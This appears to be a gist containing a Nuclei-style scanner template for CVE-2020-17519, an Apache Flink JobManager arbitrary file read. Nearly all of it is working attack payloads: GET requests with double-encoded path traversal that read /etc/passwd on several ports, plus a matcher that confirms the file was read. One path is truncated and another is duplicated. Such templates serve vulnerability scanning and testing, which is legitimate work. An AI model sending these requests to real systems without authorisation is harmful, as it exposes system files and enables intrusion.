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@0x240x23elu
Last active December 12, 2023 02:13
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CVE-2020-17519
id: CVE-2020-17519
info:
name: Apache Flink Arbitrary file reading with JobManager
author: 0x240x23elu & 0rich1 of Ant Security FG Lab
severity: High
requests:
- method: GET
path:
- "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpassw"
- "{{BaseURL}}/#/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
- "{{BaseURL}}:8081/#/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
- "{{BaseURL}}:8080/#/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
- "{{BaseURL}}:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
- "{{BaseURL}}:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
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